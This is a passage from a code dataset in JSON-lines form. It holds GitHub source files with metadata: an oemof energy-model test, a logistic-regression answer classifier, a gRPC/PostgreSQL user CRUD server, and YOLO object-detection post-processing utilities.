Eta_el_min_woDH=[0.444])},\n heat_output={bth: Flow(\n Q_CW_min=[10.552])},\n Beta=[0.122], back_pressure=False)\n warnings.filterwarnings(\"always\", category=SuspiciousUsageWarning)\n", "repo_name": "sidgupta420/MILPsolver", "sub_path": "tests/test_components.py", "file_name": "test_components.py", "file_ext": "py", "file_size_in_byte": 8548, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "oemof.solph.Bus", "line_number": 16, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 17, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericStorage", "line_number": 18, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 18, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 20, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 21, "usage_type": "call"}, {"api_name": "oemof.solph.Investment", "line_number": 26, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 32, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 33, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericStorage", "line_number": 34, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 34, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 37, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 38, "usage_type": "call"}, {"api_name": "oemof.solph.Investment", "line_number": 43, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 48, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericStorage", "line_number": 49, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 49, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 52, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 53, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 68, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericStorage", "line_number": 69, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 69, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 79, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericStorage", "line_number": 81, "usage_type": "attribute"}, {"api_name": "oemof.solph.components", "line_number": 81, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 90, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 93, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericStorage", "line_number": 94, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 94, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 96, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 97, "usage_type": "call"}, {"api_name": "oemof.solph.Investment", "line_number": 100, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 105, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 108, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericStorage", "line_number": 109, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 109, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 111, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 112, "usage_type": "call"}, {"api_name": "oemof.solph.Investment", "line_number": 115, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 120, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 122, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericStorage", "line_number": 123, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 123, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 125, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 126, "usage_type": "call"}, {"api_name": "oemof.solph.Investment", "line_number": 129, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 140, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 141, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericStorage", "line_number": 142, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 142, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 144, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 145, "usage_type": "call"}, {"api_name": "oemof.solph.Investment", "line_number": 146, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 155, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 157, "usage_type": "call"}, {"api_name": "oemof.solph.components.OffsetTransformer", "line_number": 158, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 158, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 160, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 165, "usage_type": "call"}, {"api_name": "oemof.solph.components.OffsetTransformer", "line_number": 168, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 168, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 174, "usage_type": "call"}, {"api_name": "oemof.solph.components.OffsetTransformer", "line_number": 177, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 177, "usage_type": "name"}, {"api_name": "oemof.solph.components.OffsetTransformer", "line_number": 184, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 184, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 189, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 191, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 192, "usage_type": "call"}, {"api_name": "oemof.solph.components.OffsetTransformer", "line_number": 193, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 193, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 196, "usage_type": "call"}, {"api_name": "oemof.solph.NonConvex", "line_number": 198, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 199, "usage_type": "call"}, {"api_name": "oemof.solph.NonConvex", "line_number": 201, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 208, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 210, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 211, "usage_type": "call"}, {"api_name": "oemof.solph.components.OffsetTransformer", "line_number": 213, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 213, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 216, "usage_type": "call"}, {"api_name": "oemof.solph.NonConvex", "line_number": 218, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 220, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 221, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 227, "usage_type": "call"}, {"api_name": "oemof.tools.debugging.SuspiciousUsageWarning", "line_number": 227, "usage_type": "name"}, {"api_name": "oemof.solph.Bus", "line_number": 228, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 229, "usage_type": "call"}, {"api_name": "oemof.solph.Bus", "line_number": 230, "usage_type": "call"}, {"api_name": "oemof.solph.components.GenericCHP", "line_number": 231, "usage_type": "call"}, {"api_name": "oemof.solph.components", "line_number": 231, "usage_type": "name"}, {"api_name": "oemof.solph.Flow", "line_number": 233, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 235, "usage_type": "call"}, {"api_name": "oemof.solph.Flow", "line_number": 240, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 243, "usage_type": "call"}, {"api_name": "oemof.tools.debugging.SuspiciousUsageWarning", "line_number": 243, "usage_type": "name"}]} +{"seq_id": "39217163185", "text": "import numpy as np\nfrom sklearn import linear_model\n\ndebug = False\n\ndef getSign(int):\n if int > 0:\n return \"+\"\n else:\n return \"-\"\n\ndef getTrainingData(trainingFeatures, trainingAnswers):\n for entryNum in range(trainingFeatures.shape[0]):\n entry = input().split()\n trainingAnswers[entryNum] = float(entry[1])\n params = [entry[i] for i in range(2, numFeatures + 2)]\n cleanedParams = [param[param.index(\":\") + 1:] for param in params]\n trainingFeatures[entryNum] = np.array([float(param) for param in cleanedParams])\n\n if debug:\n print(entry)\n print(params)\n print(trainingAnswers[entryNum])\n print(trainingFeatures[entryNum])\n\ndef getTestData(testFeatures, testNames):\n for entryNum in range(testFeatures.shape[0]):\n entry = input().split()\n testNames.append(entry[0])\n params = [entry[i] for i in range(1, numFeatures + 1)]\n cleanedParams = [param[param.index(\":\") + 1:] for param in params]\n testFeatures[entryNum] = np.array([float(param) for param in cleanedParams])\n\ndef printLogitScoreByFeature(trainingFeatures, trainingAnswers):\n logit = linear_model.LogisticRegression()\n for sliceNum in range(0, trainingFeatures.shape[1]):\n trainingSlice = trainingFeatures[:, sliceNum, None]\n logit.fit(trainingSlice, trainingAnswers)\n print(\"slice: \" + str(sliceNum))\n print(logit.score(trainingSlice, trainingAnswers))\n\nnumTrainingData, numFeatures = (int(s) for s in input().split())\n\nif debug:\n print(numTrainingData)\n print(numFeatures)\n\ntrainingFeatures = np.zeros(shape=(numTrainingData, numFeatures))\ntrainingAnswers = np.zeros(shape=(numTrainingData,))\n\ngetTrainingData(trainingFeatures, trainingAnswers)\n\nnumTestData = int(input())\n\ntestFeatures = np.zeros(shape=(numTestData, numFeatures))\ntestNames = []\n\ngetTestData(testFeatures, testNames)\n\nlogit = linear_model.LogisticRegression()\n\nif debug:\n printLogitScoreByFeature(trainingFeatures, trainingAnswers)\n\ntrainingSlice = trainingFeatures[:, [1, 11]]\nlogit.fit(trainingSlice, trainingAnswers)\ntestingSlice = testFeatures[:, [1, 11]]\npredictions = logit.predict(testingSlice)\n\nfor pNum, prediction in enumerate(predictions):\n print(testNames[pNum] + \" \" + getSign(int(prediction)) + \"1\")\n\nif debug:\n content = open(\"output00.txt\").readlines()\n content = [line.strip('\\n') for line in content]\n cleanedContent = [entry[entry.index(\" \") + 1:] for entry in content]\n\n testAnswers = np.array([float(s) for s in cleanedContent])\n print(testAnswers)\n print(logit.score(testingSlice, testAnswers))", "repo_name": "samsontmr/quora-challenges", "sub_path": "answer-classifier/answer-classifier.py", "file_name": "answer-classifier.py", "file_ext": "py", "file_size_in_byte": 2657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 60, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 78, "usage_type": "call"}]} +{"seq_id": "6303046697", "text": "import grpc\nimport psycopg2\n\nimport user_pb2\nimport user_pb2_grpc\n\n\n# Database connection configuration\nconn = psycopg2.connect(\n host=\"localhost\",\n database=\"pycrud\",\n user=\"postgres\",\n password=\"\"\n)\n\n\nclass UserServiceServicer(user_pb2_grpc.UserServiceServicer):\n def GetUser(self, request, context):\n with conn.cursor() as cursor:\n cursor.execute(\"SELECT id, name, email FROM users WHERE id = %s\", (request.id,))\n result = cursor.fetchone()\n if result:\n user = user_pb2.User(\n id=result[0],\n name=result[1],\n email=result[2]\n )\n return user\n else:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details(\"User not found.\")\n return None\n\n def CreateUser(self, request, context):\n with conn.cursor() as cursor:\n cursor.execute(\n \"INSERT INTO users (name, email) VALUES (%s, %s) RETURNING id\",\n (request.name, request.email)\n )\n user_id = cursor.fetchone()[0]\n conn.commit()\n user = user_pb2.User(\n id=user_id,\n name=request.name,\n email=request.email\n )\n return user\n\n def UpdateUser(self, request, context):\n with conn.cursor() as cursor:\n cursor.execute(\n \"UPDATE users SET name = %s, email = %s WHERE id = %s RETURNING id\",\n (request.name, request.email, request.id)\n )\n if cursor.rowcount > 0:\n conn.commit()\n user = user_pb2.User(\n id=request.id,\n name=request.name,\n email=request.email\n )\n return user\n else:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details(\"User not found.\")\n return None\n\n def DeleteUser(self, request, context):\n with conn.cursor() as cursor:\n cursor.execute(\"DELETE FROM users WHERE id = %s\", (request.id,))\n if cursor.rowcount > 0:\n conn.commit()\n response = user_pb2.DeleteUserResponse(success=True)\n return response\n else:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details(\"User not found.\")\n return None\n\n\ndef serve():\n server = grpc.server(grpc.ThreadPoolExecutor(max_workers=10))\n user_pb2_grpc.add_UserServiceServicer_to_server(UserServiceServicer(), server)\n server.add_insecure_port(\"[::]:50051\")\n server.start()\n print(\"Server started...\")\n try:\n while True:\n pass\n except KeyboardInterrupt:\n server.stop(0)\n conn.close()\n\n\nif __name__ == \"__main__\":\n serve()\n", "repo_name": "wasitmirani/oms-python-backend", "sub_path": "server/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 2952, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "psycopg2.connect", "line_number": 9, "usage_type": "call"}, {"api_name": "user_pb2_grpc.UserServiceServicer", "line_number": 17, "usage_type": "attribute"}, {"api_name": "user_pb2.User", "line_number": 23, "usage_type": "call"}, {"api_name": "grpc.StatusCode", "line_number": 30, "usage_type": "attribute"}, {"api_name": "user_pb2.User", "line_number": 42, "usage_type": "call"}, {"api_name": "user_pb2.User", "line_number": 57, "usage_type": "call"}, {"api_name": "grpc.StatusCode", "line_number": 64, "usage_type": "attribute"}, {"api_name": "user_pb2.DeleteUserResponse", "line_number": 73, "usage_type": "call"}, {"api_name": "grpc.StatusCode", "line_number": 76, "usage_type": "attribute"}, {"api_name": "grpc.server", "line_number": 82, "usage_type": "call"}, {"api_name": "grpc.ThreadPoolExecutor", "line_number": 82, "usage_type": "call"}, {"api_name": "user_pb2_grpc.add_UserServiceServicer_to_server", "line_number": 83, "usage_type": "call"}]} +{"seq_id": "22863539338", "text": "from __future__ import division\nimport colorsys\nimport os\n\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nfrom matplotlib import pyplot as plt\nfrom PIL import Image\nfrom torchvision.ops.boxes import batched_nms, nms\n\nfrom modelscope.preprocessors.image import load_image\n\nplt.switch_backend('Agg')\n\n\nclass DecodeBox(nn.Module):\n\n def __init__(self, anchors, num_classes, img_size):\n super(DecodeBox, self).__init__()\n self.anchors = anchors\n self.num_classes = num_classes\n self.img_size = img_size\n\n self.num_anchors = len(anchors)\n self.bbox_attrs = 5 + num_classes\n\n def forward(self, input):\n # input为bs,3*(1+4+num_classes),13,13\n # 一共多少张图片\n batch_size = input.size(0)\n # 13，13\n input_height = input.size(2)\n input_width = input.size(3)\n\n # 计算步长\n # 每一个特征点对应原来的图片上多少个像素点\n # 如果特征层为13x13的话，一个特征点就对应原来的图片上的32个像素点\n # 416/13 = 32\n stride_h = self.img_size[1] / input_height\n stride_w = self.img_size[0] / input_width\n\n # 把先验框的尺寸调整成特征层大小的形式\n # 计算出先验框在特征层上对应的宽高\n scaled_anchors = [(anchor_width / stride_w, anchor_height / stride_h)\n for anchor_width, anchor_height in self.anchors]\n\n # bs,3*(5+num_classes),13,13 -> bs,3,13,13,(5+num_classes)\n prediction = input.view(batch_size, self.num_anchors, self.bbox_attrs,\n input_height,\n input_width).permute(0, 1, 3, 4,\n 2).contiguous()\n\n # 先验框的中心位置的调整参数\n x = torch.sigmoid(prediction[..., 0])\n y = torch.sigmoid(prediction[..., 1])\n # 先验框的宽高调整参数\n w = prediction[..., 2] # Width\n h = prediction[..., 3] # Height\n\n # 获得置信度，是否有物体\n conf = torch.sigmoid(prediction[..., 4])\n # 种类置信度\n pred_cls = torch.sigmoid(prediction[..., 5:]) # Cls pred.\n FloatTensor = torch.cuda.FloatTensor if x.is_cuda else torch.FloatTensor\n LongTensor = torch.cuda.LongTensor if x.is_cuda else torch.LongTensor\n\n # 生成网格，先验框中心，网格左上角 batch_size,3,13,13\n grid_x = torch.linspace(0, input_width - 1, input_width).repeat(\n input_width, 1).repeat(batch_size * self.num_anchors, 1,\n 1).view(x.shape).type(FloatTensor)\n grid_y = torch.linspace(0, input_height - 1, input_height).repeat(\n input_height, 1).t().repeat(batch_size * self.num_anchors, 1,\n 1).view(y.shape).type(FloatTensor)\n\n # 生成先验框的宽高\n anchor_w = FloatTensor(scaled_anchors).index_select(1, LongTensor([0]))\n anchor_h = FloatTensor(scaled_anchors).index_select(1, LongTensor([1]))\n anchor_w = anchor_w.repeat(batch_size, 1).repeat(\n 1, 1, input_height * input_width).view(w.shape)\n anchor_h = anchor_h.repeat(batch_size, 1).repeat(\n 1, 1, input_height * input_width).view(h.shape)\n # 计算调整后的先验框中心与宽高\n pred_boxes = FloatTensor(prediction[..., :4].shape)\n pred_boxes[..., 0] = x.data + grid_x\n pred_boxes[..., 1] = y.data + grid_y\n pred_boxes[..., 2] = torch.exp(w.data) * anchor_w\n pred_boxes[..., 3] = torch.exp(h.data) * anchor_h\n\n # 用于将输出调整为相对于416x416的大小\n _scale = torch.Tensor([stride_w, stride_h] * 2).type(FloatTensor)\n output = torch.cat((pred_boxes.view(batch_size, -1, 4) * _scale,\n conf.view(batch_size, -1, 1),\n pred_cls.view(batch_size, -1, self.num_classes)),\n -1)\n\n return output.data\n\n\n# ------------------------------------------------- #\n# 输入图片的尺寸为正方形，而数据集中的图片一般为长方形，粗暴的resize会使得图片失真，采用letterbox可以较好的解决这个问题\n# 该方法可以保持图片的长宽比例，剩下的部分采用灰色填充\n# ------------------------------------------------- #\ndef letterbox_image(image, size):\n iw, ih = image.size\n w, h = size\n scale = min(w / iw, h / ih)\n nw = int(iw * scale)\n nh = int(ih * scale)\n\n image = image.resize((nw, nh), Image.BICUBIC)\n new_image = Image.new('RGB', size, (128, 128, 128))\n new_image.paste(image, ((w - nw) // 2, (h - nh) // 2))\n\n return new_image\n\n\n# ------------------------------------------------- #\n# 对模型输出的box信息(x, y, w, h)进行校正,输出基于原图坐标系的box信息(x_min, y_min, x_max, y_max)\n# ------------------------------------------------- #\ndef yolo_correct_boxes(top, left, bottom, right, input_shape, image_shape):\n \"\"\"\n :param top: 模型输出的box中心坐标信息,范围0~1\n :param left: 模型输出的box中心坐标信息,范围0~1\n :param bottom: 模型输出的box长宽信息,范围0~1\n :param right: 模型输出的box长宽信息,范围0~1\n :param input_shape: 模型的图像尺寸, 长宽均是32倍数\n :param image_shape: 原图尺寸\n :return: 基于原图坐标系的box信息(实际坐标值,非比值)\n \"\"\"\n new_shape = image_shape * np.min(input_shape / image_shape)\n offset = (input_shape - new_shape) / 2. / input_shape\n scale = input_shape / new_shape\n box_yx = np.concatenate(\n ((top + bottom) / 2, (left + right) / 2), axis=-1) / input_shape\n box_hw = np.concatenate(\n (bottom - top, right - left), axis=-1) / input_shape\n box_yx = (box_yx - offset) * scale\n box_hw *= scale\n box_mins = box_yx - (box_hw / 2.)\n box_maxes = box_yx + (box_hw / 2.)\n boxes = [\n box_mins[:, 0:1], box_mins[:, 1:2], box_maxes[:, 0:1], box_maxes[:,\n 1:2]\n ]\n boxes = np.concatenate(boxes, axis=-1)\n boxes *= np.concatenate([image_shape, image_shape], axis=-1)\n\n return boxes\n\n\n# ------------------------------------------------- #\n# 计算IOU\n# ------------------------------------------------- #\ndef bbox_iou(box1, box2, x1y1x2y2=True):\n if not x1y1x2y2:\n b1_x1, b1_x2 = box1[:, 0] - box1[:, 2] / 2, box1[:, 0] + box1[:, 2] / 2\n b1_y1, b1_y2 = box1[:, 1] - box1[:, 3] / 2, box1[:, 1] + box1[:, 3] / 2\n b2_x1, b2_x2 = box2[:, 0] - box2[:, 2] / 2, box2[:, 0] + box2[:, 2] / 2\n b2_y1, b2_y2 = box2[:, 1] - box2[:, 3] / 2, box2[:, 1] + box2[:, 3] / 2\n else:\n b1_x1, b1_y1, b1_x2, b1_y2 = box1[:, 0], box1[:, 1], box1[:,\n 2], box1[:,\n 3]\n b2_x1, b2_y1, b2_x2, b2_y2 = box2[:, 0], box2[:, 1], box2[:,\n 2], box2[:,\n 3]\n\n inter_rect_x1 = torch.max(b1_x1, b2_x1)\n inter_rect_y1 = torch.max(b1_y1, b2_y1)\n inter_rect_x2 = torch.min(b1_x2, b2_x2)\n inter_rect_y2 = torch.min(b1_y2, b2_y2)\n\n inter_area = torch.clamp(\n inter_rect_x2 - inter_rect_x1 + 1, min=0) * torch.clamp(\n inter_rect_y2 - inter_rect_y1 + 1, min=0)\n b1_area = (b1_x2 - b1_x1 + 1) * (b1_y2 - b1_y1 + 1)\n b2_area = (b2_x2 - b2_x1 + 1) * (b2_y2 - b2_y1 + 1)\n\n iou = inter_area / (b1_area + b2_area - inter_area + 1e-16)\n\n return iou\n\n\n# ------------------------------------------------- #\n# 非极大值抑制\n# ------------------------------------------------- #\ndef non_max_suppression(prediction,\n num_classes,\n conf_thres=0.5,\n nms_thres=0.4):\n # 求左上角和右下角\n box_corner = prediction.new(prediction.shape)\n box_corner[:, :, 0] = prediction[:, :, 0] - prediction[:, :, 2] / 2\n box_corner[:, :, 1] = prediction[:, :, 1] - prediction[:, :, 3] / 2\n box_corner[:, :, 2] = prediction[:, :, 0] + prediction[:, :, 2] / 2\n box_corner[:, :, 3] = prediction[:, :, 1] + prediction[:, :, 3] / 2\n prediction[:, :, :4] = box_corner[:, :, :4]\n\n output = [None for _ in range(len(prediction))]\n for image_i, image_pred in enumerate(prediction):\n # 获得种类及其置信度\n class_conf, class_pred = torch.max(\n image_pred[:, 5:5 + num_classes], 1, keepdim=True)\n # 利用置信度进行第一轮筛选\n score = image_pred[:, 4] * class_conf[:, 0]\n conf_mask = (score >= conf_thres).squeeze()\n\n image_pred = image_pred[conf_mask]\n class_conf = class_conf[conf_mask]\n class_pred = class_pred[conf_mask]\n if not image_pred.size(0):\n continue\n # 获得的内容为(x1, y1, x2, y2, obj_conf, class_conf, class_pred)\n detections = torch.cat(\n (image_pred[:, :5], class_conf.float(), class_pred.float()), 1)\n\n # 获得种类\n unique_labels = detections[:, -1].cpu().unique()\n\n if prediction.is_cuda:\n unique_labels = unique_labels.cuda()\n detections = detections.cuda()\n\n for c in unique_labels:\n # 获得某一类初步筛选后全部的预测结果\n detections_class = detections[detections[:, -1] == c]\n\n # ------------------------------------------ #\n # 使用官方自带的非极大抑制会速度更快一些！\n # ------------------------------------------ #\n keep = nms(detections_class[:, :4],\n detections_class[:, 4] * detections_class[:, 5],\n nms_thres)\n max_detections = detections_class[keep]\n\n output[image_i] = max_detections if output[\n image_i] is None else torch.cat(\n [output[image_i], max_detections])\n\n return output\n\n\n# ------------------------------------------------- #\n# 合并boxes\n# ------------------------------------------------- #\ndef merge_bboxes(bboxes, cutx, cuty):\n merge_bbox = []\n for i in range(len(bboxes)):\n for box in bboxes[i]:\n tmp_box = []\n x1, y1, x2, y2 = box[0], box[1], box[2], box[3]\n\n if i == 0:\n if y1 > cuty or x1 > cutx:\n continue\n if y2 >= cuty and y1 <= cuty:\n y2 = cuty\n if y2 - y1 < 5:\n continue\n if x2 >= cutx and x1 <= cutx:\n x2 = cutx\n if x2 - x1 < 5:\n continue\n\n if i == 1:\n if y2 < cuty or x1 > cutx:\n continue\n\n if y2 >= cuty and y1 <= cuty:\n y1 = cuty\n if y2 - y1 < 5:\n continue\n\n if x2 >= cutx and x1 <= cutx:\n x2 = cutx\n if x2 - x1 < 5:\n continue\n\n if i == 2:\n if y2 < cuty or x2 < cutx:\n continue\n\n if y2 >= cuty and y1 <= cuty:\n y1 = cuty\n if y2 - y1 < 5:\n continue\n\n if x2 >= cutx and x1 <= cutx:\n x1 = cutx\n if x2 - x1 < 5:\n continue\n\n if i == 3:\n if y1 > cuty or x2 < cutx:\n continue\n\n if y2 >= cuty and y1 <= cuty:\n y2 = cuty\n if y2 - y1 < 5:\n continue\n\n if x2 >= cutx and x1 <= cutx:\n x1 = cutx\n if x2 - x1 < 5:\n continue\n\n tmp_box.append(x1)\n tmp_box.append(y1)\n tmp_box.append(x2)\n tmp_box.append(y2)\n tmp_box.append(box[-1])\n merge_bbox.append(tmp_box)\n return merge_bbox\n\n\n# ---------------------------------------------------#\n# 获得所有的先验框\n# ---------------------------------------------------#\ndef _get_anchors(self):\n anchors_path = os.path.join(self.model, 'model_data/yolo_anchors.txt')\n anchors_path = os.path.expanduser(anchors_path)\n with open(anchors_path) as f:\n lines = f.readlines()\n anchors = [line.strip().split(',') for line in lines]\n return np.array(anchors, dtype='float').reshape([-1, 3, 2])[::-1, :, :]\n\n\ndef generate(self):\n self.yolo_decodes = []\n for i in range(len(self.anchors)):\n self.yolo_decodes.append(\n DecodeBox(self.anchors[i], len(self.class_names),\n self.model_image_size[:2][::-1]))\n\n # 画框设置不同的颜色\n hsv_tuples = [(x / len(self.class_names), 1., 1.)\n for x in range(len(self.class_names))]\n self.colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))\n self.colors = list(\n map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)),\n self.colors))\n\n\n# --------------------------------------------------- #\n# 后处理\n# --------------------------------------------------- #\ndef post_process(self, outputs, img_path):\n new_boxes = []\n output_list = []\n top_confs = torch.empty(0)\n for i in range(3):\n output_list.append(self.yolo_decodes[i](outputs[i]))\n output = torch.cat(output_list, 1)\n batch_detections = non_max_suppression(\n output,\n len(self.class_names),\n conf_thres=self.confidence,\n nms_thres=self.iou)\n\n for j, batch_detection in enumerate(batch_detections):\n if batch_detection is None:\n continue\n try:\n batch_detection = batch_detection.cpu().numpy()\n except Exception:\n return\n\n image = load_image(img_path)\n image_shape = np.array(np.shape(image)[0:2])\n top_index = batch_detection[:,\n 4] * batch_detection[:,\n 5] > self.confidence\n top_conf = batch_detection[top_index, 4]\n top_class = batch_detection[top_index, 5]\n top_confs = top_conf * top_class\n top_label = np.array(batch_detection[top_index, -1], np.int32)\n top_bboxes = np.array(batch_detection[top_index, :4])\n top_xmin = np.expand_dims(top_bboxes[:, 0], -1)\n top_ymin = np.expand_dims(top_bboxes[:, 1], -1)\n top_xmax = np.expand_dims(top_bboxes[:, 2], -1)\n top_ymax = np.expand_dims(top_bboxes[:, 3], -1)\n\n # 去掉灰条\n boxes = yolo_correct_boxes(top_ymin, top_xmin, top_ymax, top_xmax,\n np.array(self.model_image_size[:2]),\n image_shape)\n\n for i, c in enumerate(top_label):\n top, left, bottom, right = boxes[i]\n top = max(0, round(top, 2))\n\n left = max(0, round(left, 2))\n bottom = min(image.size[1], round(bottom, 2))\n right = min(image.size[0], round(right, 2))\n new_boxes.append([left, top, right, bottom])\n\n return new_boxes, top_confs\n", "repo_name": "modelscope/modelscope", "sub_path": "modelscope/pipelines/cv/tbs_detection_utils/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 15542, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4825, "dataset": "github-code", "pt": "16", "api": [{"api_name": "matplotlib.pyplot.switch_backend", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 18, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.sigmoid", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.FloatTensor", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.cuda", "line_number": 67, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 67, "usage_type": "attribute"}, {"api_name": "torch.linspace", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.linspace", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 93, "usage_type": "call"}, {"api_name": "PIL.Image.BICUBIC", "line_number": 112, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 112, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 113, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 216, "usage_type": "call"}, {"api_name": "torchvision.ops.boxes.nms", "line_number": 233, "usage_type": "call"}, {"api_name": 